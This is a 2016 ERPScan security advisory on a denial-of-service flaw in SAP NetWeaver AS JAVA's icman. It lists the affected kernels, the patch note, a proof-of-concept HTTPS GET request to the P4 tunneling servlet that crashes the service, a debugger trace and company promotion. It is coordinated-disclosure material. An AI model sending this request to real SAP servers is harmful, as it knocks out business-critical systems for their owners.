[FD] [ERPSCAN-16-033] SAP NetWeaver AS JAVA icman - DoS vulnerability

Application: SAP NetWeaver AS JAVA Versions Affected: SAP NetWeaver AS JAVA 7.4 Vendor URL: http://SAP.com Bug: Denial of Service Sent: 22.04.2016 Reported: 23.04.2016 Vendor response: 23.04.2016 Date of Public Advisory: 09.08.2016 Reference: SAP Security Note 2313835 Author: Vahagn Vardanyan (ERPScan) Description 1. ADVISORY INFORMATION Title: [ERPSCAN-16-033] SAP NetWeaver AS JAVA icman – DoS vulnerability Advisory ID:[ERPSCAN-16-033] Risk: high Advisory URL: http://ift.tt/2fymFjr Date published: 11.11.2016 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: Denial of Service Impact: Denial of Service Remotely Exploitable: yes Locally Exploitable: yes CVSS Information CVSS Base Score v3: 7.5 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) Low (L) PR : Privileges Required (Level of privileges needed to exploit) None (N) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality None (N) I : Impact to Integrity None (N) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION Unauthenticated attacker can make DoS attack with use P4 over HTTPS 4. VULNERABLE PACKAGES SAP KERNEL 7.21 32-BIT SAP KERNEL 7.21 32-BIT UNICODE SAP KERNEL 7.21 64-BIT SAP KERNEL 7.21 64-BIT UNICODE SAP KERNEL 7.21 EXT 32-BIT SAP KERNEL 7.21 EXT 32-BIT UC SAP KERNEL 7.21 EXT 64-BIT SAP KERNEL 7.21 EXT 64-BIT UC SAP KERNEL 7.22 64-BIT SAP KERNEL 7.22 64-BIT UNICODE SAP KERNEL 7.22 EXT 64-BIT SAP KERNEL 7.22 EXT 64-BIT UC SAP KERNEL 7.42 64-BIT SAP KERNEL 7.42 64-BIT UNICODE SAP KERNEL 7.45 64-BIT SAP KERNEL 7.45 64-BIT UNICODE 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2313835 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION Vulnerability triggers when one sends HTTPS GET request to SAP NetWeaver P4. PoC ``` GET https://SAP_IP:50005/sap.com~P4TunnelingApp!web/myServlet HTTP/1.1 Host: 172.16.10.65:50005 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close ``` ``` 0:007> r rax=0000a323260f1252 rbx=0000000025c500d0 rcx=0000000025c500d0 rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000000 rip=000000013f3af019 rsp=0000000003500d40 rbp=0000000003500e40 r8=0000000025c50400 r9=0000006c004c0002 r10=0000000003500c20 r11=00000000021b2df0 r12=0000000000000002 r13=000000013f2c0000 r14=0000000000000000 r15=0000000000000001 iopl=0 nv up ei ng nz ac po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 icman!P4PlugInReadHandler+0xb9: 00000001`3f3af019 8b4f04 mov ecx,dword ptr [rdi+4] ds:00000000`00000004=???????? 00000000`03500d40 00000001`3f363fb5 icman!P4PlugInReadHandler+0xb9 [d:\depot\bas\742_rel\src\krn\si\ic\p4_plg.c @ 1192] 00000000`03500ec0 00000001`3f3638ea icman!IcmMplxAsyncReadDone+0x75 [d:\depot\bas\742_rel\src\krn\si\ic\icxxmplx.c @ 5088] 00000000`03500f10 00000001`3f362626 icman!IcmMplxExecCall+0x36a [d:\depot\bas\742_rel\src\krn\si\ic\icxxmplx.c @ 4808] 00000000`0350fd20 00000000`74901d9f icman!IcmMplxThread+0x5f6 [d:\depot\bas\742_rel\src\krn\si\ic\icxxmplx.c @ 3840] 00000000`0350fdb0 00000000`74901e3b MSVCR100!endthreadex+0x43 00000000`0350fde0 00000000`7716652d MSVCR100!endthreadex+0xdf 00000000`0350fe10 00000000`7729c541 kernel32!BaseThreadInitThunk+0xd 00000000`0350fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21 ``` 8. REPORT TIMELINE Sent: 22.04.2016 Reported: 23.04.2016 Vendor response: 23.04.2016 Date of Public Advisory: 09.08.2016 9. REFERENCES http://ift.tt/2fymFjr 10. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized infosec resources and featured in major media worldwide. Among them, there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScan’s primary mission is to close the gap between technical and business security and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We ‘follow the sun’ and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe. Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security

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